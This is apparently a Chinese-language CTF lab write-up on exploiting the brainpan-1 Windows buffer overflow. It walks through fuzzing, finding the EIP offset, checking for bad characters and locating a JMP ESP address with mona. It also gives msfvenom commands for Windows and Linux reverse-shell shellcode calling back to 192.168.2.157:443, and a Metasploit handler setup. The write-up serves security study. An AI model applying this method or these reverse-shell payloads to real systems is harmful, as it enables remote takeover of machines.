网络安全brainpan-windows缓冲区溢出详解

Posted 2022-03-16 kali_Ma

简介

渗透测试
注意：

本文仅用于技术讨论与研究，对于所有笔记中复现的这些终端或者服务器，都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，本站及作者概不负责。

一、前言

缓冲区溢出（buffer overflow），是针对程序设计缺陷，向程序输入缓冲区写入使之溢出的内容（通常是超过缓冲区能保存的最大数据量的数据），从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。

项目十七：brainpan-1，专门考验缓冲区溢出知识，该项目仅仅开放了10000端口作为web端，经过简单的目录爆破就能发现存在brainpan.exe文件，该项目是乌班图环境并且安装了win的模块运行着exe文件，该文件启动了9999端口支撑服务，该环境就和AWD中的PWN题目一样，直播教学会有多种方法详细解释如何理解缓冲区溢出，如何发现缓冲区溢出，遇到缓冲区溢出如何利用，栈是什么等等问题详解。

接下来我分享其中方法一，欢迎大佬们指点。

测试是否存在缓冲区溢出：

python brainfuzzer.py 192.168.4.96 9999

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通过对程序发送1~1500位不等字符进行验证，提示程序崩溃，存在缓冲区溢出！

二、windows缓冲区溢出

1、windows 10打开Immunity Debugger

Immunity Debugger-漏洞分析专用调试器，没有的百度到处是下载地址！

Immunity Debugger 安装参考：

https://blog.csdn.net/clark3256453/article/details/121422527

开始利用操作：
然后点击：File-C:/…程序

运行出数据后的界面：

该界面是最初始的程序开启界面，需要点击右箭头图标才可运行程序：

开启完程序后，EAX值会清零，这时候本地程序会正常运行，并开启9999端口！

2、查询偏移量

1）利用pattern_create.rb生成1000位随机数值

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

2）修改脚本brainpan1

3）发送1000位随机去覆盖程序

python brainpan1.py 10.211.55.44 9999

在kali执行对44的windows9999服务进行冲击。

可看到ESP已经被覆盖，得出EIP的值：35724134

4）EIP查看偏移量

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134
[*] Exact match at offset 524

偏移量524！

5）解析下如何得到的

首先要知道内存地址和平常书写地址是相反的，内存会把内存低地址放在高位，内存高地址放在低位，所以排列顺序是：

35724134
34 41 72 35

对比ASCII表：

34 41 72 35
4  A  r  5
4Ar5

对照ASCII表信息是：4Ar#

所以对照的就是pattern_create.rb生成的1000字符中524位的地方存在溢出，pattern_offset.rb会自动计算在1000个字符中4Ar5位置在哪儿！

3、查看shellcode空间大小

思路：
将EIP修改为shellcode代码的内存地址，将shellcode写入到该地址空间，程序读取EIP寄存器数值，将跳转到shellcode代码段并执行，接下来将寻找可存放shellcode的内存空间是多少！

这里将放入472个字节C去测试！

python brainpan2.py 10.211.55.44 9999

EBP栈底指针已经被524个A覆盖，EIP已经指出四个B，ESP已经覆盖了472个C字节。

在ESP位置右键选择：Follow in Dump

在左下视图右键选择：Hex-Hex/ASCII(16 bytes)

选择十六个字节一行显示去观察！

可看到起始位：005ff910，结束位：005FFAE0

1D0是十六进制，转换十进制：

最少的shellcode需要300字节，现在寄存器的大小是464，足以存放一个shellcode！

4、查找坏字符

不同类型的程序、协议、漏洞，会将某些字符认为是坏字符，这些字符有固定用途：

1\\. 返回地址、shellcode、buffer中都不能出现坏字符
2\\. null byte (0x00)空字符，用于终止字符串的拷贝操作
3\\. return (0x0D)回车操作，表示POP3 PASS命令输入完成

思路：
发送0x00–0xff 256个字符，查找所有坏字符
例如：计算机都用ASCII编码不同的编码都表示不同的字符，一个字符一个字节
00000000—11111111=256 有256种可能的字符情况

接下来查看坏字符，重新运行程序：brainpan2

python brainpan3.py 10.211.55.44 9999

或者是查看：右键选择Follow in Dump

可看到选择16字节显示后，最右边都是1₉F说明没有坏字符！

对比发现除了00外，其余都很正常！
接下来要找到跳转到ESP的指令指针寄存器的值！

5、漏洞利用开发

重定向数据流：

1\\. 用ESP的地址替换EIP的值
2\\. 但是ESP地址变化，硬编码不可行
3\\. SLMail线程应用程序，操作系统为每个线程分配一段地址范围，每个线程地址范围不确定

变通思路：

1\\. 在内存中寻找地址固定的系统模块
2\\. 在模块中寻找JMP ESP指令的地址跳转，再由该指令间接跳转到ESP，从而执行shellcode
3\\. mona.py脚本识别内存模块，搜索“return address”是JMP ESP指令的模块
4\\. 寻找无DEP、ALSR保护的内存地址
5\\. 内存地址不包含坏字符

!mona modules

SafeSEH、ASLR、NXCompat都是内存保护机制所保护的模块！
要选择JMP ESP一定要选择这三项都未False的，正好有一项符合！

现在进入该模块去查找有没有jmp esp的命令！
brainpan.exe
0BADF00D

查找JMP ESP：
利用nasm_shell.rb查看jmp esp的地址！

locate nasm_shell
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000  FFE4              jmp esp

可看到jmp esp地址：\\xff\\xe4

首先我们需要找到EIP offset，也就是正好覆盖到EIP的偏移量以便我们精准的覆盖EIP寄存器。所以我们要知道哪4个 a是放入到了EIP寄存器中，这就很复杂了，当然方法是有的，这里我们使用Immunity Debugger的插件mona，这样我们就避免了平常复杂的寻找方法。

安装mona：

将mona.py放在Immunity Debugger安装目录PyCommands下就行了!

!mona find -s "\\xff\\xe4" -m brainpan.exe

获得JMP ESP地址：0x311712f3

shellcode生成：

msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.2.157 -e x86/shikata_ga_nai -b "\\x00" -f py

生成shellcode后进行脚本编写！

brainpan4：

将shellcode防止对端！

windows10开启brainpan.exe：

kali运行脚本：

成功缓冲区溢出，获得反弹shell：
[图片上传中…(image.png-6a1393-1647249930375-0)]

这时候要反弹linux的shellcode：brainpan5

msfvenom -p linux/x86/shell_reverse_tcp LPORT=443 LHOST=192.168.2.157 -e x86/shikata_ga_nai -b "\\x00" -f py

然后替换脚本shellcode：

替换后进行执行：

msfconsole
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set lport 443
set lhost 192.168.2.157
exploit -j

MSF成功获得反弹shell！

三、总结

今天学到windows缓冲区溢出中windows 10使用Immunity Debugger逆向分析工具，熟悉栈如何查找栈空间，如何查看坏字符，如何编写EXP利用等等操作，最后远程代码执行控制服务器等操作，学到了非常多的小技巧和干货，希望小伙伴能实际操作复现一遍！来巩固告知企业单位的漏洞情况，并尽快进行加固巩固安全！

希望大家提高安全意识，没有网络安全就没有国家安全！

今天基础牢固就到这里，虽然基础，但是必须牢记于心。